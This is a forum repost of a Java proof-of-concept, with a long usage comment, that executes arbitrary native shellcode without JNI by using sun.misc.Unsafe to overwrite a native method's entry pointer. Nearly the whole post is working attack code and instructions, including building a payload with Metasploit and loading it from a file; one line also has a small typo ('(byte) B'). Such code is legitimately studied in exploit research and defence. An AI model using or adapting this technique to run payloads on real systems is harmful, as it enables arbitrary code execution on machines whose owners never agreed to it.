Jump to content
Nytro

Running shellcode from Java without JNI

Recommended Posts

Running shellcode from Java without JNI

© 2011 Michael Schierl <schierlm at gmx dot de> (Twitter @mihi42)

/*

* Running shellcode from Java without JNI (i. e. loading a DLL from disk).

* © 2011 Michael Schierl <schierlm at gmx dot de> (Twitter @mihi42)

*

* Tested versions:

* .---------------------------.---------.------------.---------.-----------------.

* | JVM version | MA slot | Native Ptr | Raw RET | EXITFUNC thread |

* |===========================|=========|============|=========|=================|

* | Oracle 1.4.2 Win32 | 25 | 15 | C3 | Not supported |

* | Oracle 1.5 Win32 | 29 | 14 | C3 | Not supported |

* | Oracle 1.6 Win32 | 29 | 19 | C3 | Not supported |

* |---------------------------|---------|------------|---------|-----------------|

* | Oracle 1.6 Linux 32-bit | 28 | 19 | C3 | Not supported |

* '---------------------------'---------'------------'---------'-----------------'

*

* How to test other versions:

*

* 1. Compile this class with settings supported by your target JVM (and

* -target 1.1) and run it without arguments. It will examine the class fields

* for candidates that might hold a pointer to the method array. The method

* array is a Java array that contains one entry for each method, and this

* entry contains a native pointer to its entry point (for native methods).

* Therefore we first have to find the offset of this pointer. First filter

* out all values that are most likely not pointers (too small, too "round",

* etc.) In case you have a debugger handy, look at the remaining candidates.

* A method array will start with jvm flags (usually 0x00000001), a pointer

* to the array's element class object, its length (which should be equal to

* the number printed above the candidate table), and a pointer to each of the

* elements. The rest (up to an architecture-dependent size) is padded with

* zeros. If you don't have a debugger handy, just try all of the candidates

* in the next step until you get success.

*

* [Note: On Win32, the slots before the pointer are filled with 0,0,0(,0,1,0,0).]

*

* 2. Run the class with the (suspected) correct method array slot number as its

* (only) argument. If the slot was wrong, the JVM will most likely print an

* obscure error message or crash. If the slot was correct, it will dump the

* fields of the method object inside the array. One of these fields is a

* native pointer of the function (by default, on Windows, this points to a

* stub method that throws an UnsatisfiedLinkError). So examine the pointers

* until you found this method, or again just use trial and error in the next

* step.

*

* [Note: On Win32, there is 0 and another pointer before it, and 0,0,1 after]

*

* 3. Run the class with two parameters, first the method array slot number from

* step one, then the native pointer slot number from step two. It will try to

* fill that pointer with 0x4141414141414141, therefore examine the (expected)

* crash log if it crashes at that pointer. If you cannot examine the crash log,

* just try the following steps with each other alternative. The first two

* parameters have to be kept for all the following steps, there are only parameters

* to be added.

*

* 4. Run the class with "raw C3" as the 3rd and 4th parameter (if your architecture

* uses a different opcode for RET, replace it, e. g. "raw DE AD BE EF". This code

* will be written into a freshly allocated memory region and the region's base

* address will be used for the pointer. This time, the program should not crash,

* but return, and print a success message as last step. Running it with

* "threaded raw C3" should result in the same results.

*

* 5. Use Metasploit or similar to build a native shellcode for your platform,

* using EXITFUNC = thread (or similar) - EXITFUNC = RET would be better. Now run

* the class with "file /path/to/your/shellcode" as 3rd and 4th parameter, which

* should result in execution of your shellcode, but probably a crash afterwards.

* Try again with "threaded file /path/to/your/shellcode". On Windows, both variants

* run the shellcode, but crash/hang afterwards, therefore the "Not Supported" in the

* last column of the table. [The unthreaded approach kills the Java process on exit,

* the threaded approach hangs forever.]

*

* 6. Fill in the table above and send it to me :-)

*/

import java.io.File;
import java.io.FileInputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Field;

import sun.misc.Unsafe;

public class ShellcodeTest implements Runnable {
private static int addressSize;

public static void main(String[] args) throws Exception {
// avoid Unsafe.class literal here since it may introduce
// a synthetic method and disrupt our calculations.
java.lang.reflect.Field unsafeField = Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) unsafeField.get(null);
addressSize = unsafe.addressSize();
Class thisClass = Class.forName("ShellcodeTest");
final int METHOD_COUNT = thisClass.getDeclaredMethods().length + 1;
System.out.println("[*] Shellcode class has " + METHOD_COUNT + " methods.");
Field staticField = thisClass.getDeclaredField("addressSize");
Object staticFieldBase = unsafe.staticFieldBase(staticField);
if (args.length == 0) {
System.out.println("[*] Candidates for method array slot:");
long staticFieldOffset = unsafe.staticFieldOffset(staticField);
printStaticSlots(unsafe, staticFieldBase, staticFieldOffset);
System.out.println("[*] Select method array slot now!");
return;
}
long methodArraySlot = Integer.parseInt(args[0]);
System.out.println("[*] Obtaining method array (slot " + methodArraySlot + ")");
Object methodArray = unsafe.getObject(staticFieldBase, methodArraySlot * addressSize);
int methodCount = Array.getLength(methodArray);
if (methodCount != METHOD_COUNT) {
System.out.println("[-] ERROR: Array length is " + methodCount + ", should be " + METHOD_COUNT);
return;
}
System.out.println("[+] Successfully obtained method array");
Field methodSlotField = Class.forName("java.lang.reflect.Method").getDeclaredField("slot");
methodSlotField.setAccessible(true);
int shellcodeMethodSlot = ((Integer) methodSlotField.get(thisClass.getDeclaredMethod("shellcode", new Class[0]))).intValue();
System.out.println("[*] Obtaining method object (slot " + shellcodeMethodSlot + ")");
Object methodObject = Array.get(methodArray, shellcodeMethodSlot);
System.out.println("[+] Successfully obtained method object");
if (args.length == 1) {
System.out.println("[*] Candidates for native pointer slot:");
printStaticSlots(unsafe, methodObject, 30 * addressSize);
System.out.println("[*] Select native pointer slot now!");
return;
}
long nativePtrSlot = Integer.parseInt(args[1]);
long nativePtrTarget;
boolean useThread = false;
int argOffset = 2;
if (args.length > 2 && args[2].equals("threaded")) {
argOffset++;
useThread = true;
}
if (args.length == argOffset) {
System.out.println("[*] Setting native pointer slot to 0x4141414141414141 (should crash at that address!)");
nativePtrTarget = 0x4141414141414141L;
} else {
String mode = args[argOffset];
argOffset++;
if (mode.equals("raw")) { // raw c3
nativePtrTarget = unsafe.allocateMemory(args.length - argOffset);
for (int i = argOffset; i < args.length; i++) {
unsafe.putByte(nativePtrTarget + i - argOffset, (byte) Integer.parseInt(args[i], 16));
}
} else if (mode.equals("file")) {
File file = new File(args[argOffset]);
nativePtrTarget = unsafe.allocateMemory(file.length());
FileInputStream fis = new FileInputStream(file);
int b;
long ptr = nativePtrTarget;
while ((b = fis.read()) != -1) {
unsafe.putByte(ptr, (byte) B);
ptr++;
}
} else {
System.out.println("Unsupported mode: " + mode);
return;
}
}
System.out.println("[*] Trying to overwrite native method pointer (slot " + nativePtrSlot + ")");
if (addressSize == 8)
unsafe.putLong(methodObject, nativePtrSlot * addressSize, nativePtrTarget);
else
unsafe.putInt(methodObject, nativePtrSlot * addressSize, (int) nativePtrTarget);
System.out.println("[+] Successfully overwritten native method pointer");
if (useThread) {
System.out.println("[*] Executing native method in thread");
Thread thread = new Thread(new ShellcodeTest());
thread.start();
System.out.println("[*] Thread started");
thread.join();
System.out.println("[*] Thread successfully finished");
} else {
System.out.println("[*] Executing native method (drum roll...)");
shellcode();
System.out.println("[+] Executed native method and returned!");
}
}

public void run() {
try {
shellcode();
} catch (Throwable t) {
t.printStackTrace();
}
}

private static void printStaticSlots(Unsafe unsafe, Object object, long maxOffset) {
for (long offset = 0; offset < maxOffset; offset += addressSize) {
long value = addressSize == 8 ? unsafe.getLong(object, offset) : unsafe.getInt(object, offset) & 0xFFFFFFFFL;
System.out.println("\t" + offset / addressSize + "\t" + Long.toHexString(value));
}
}

private static native void shellcode();
}

Sursa: [Java] /* * Running shellcode from Java without JNI (i. e. loading a DLL from disk). - Pastebin.com

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...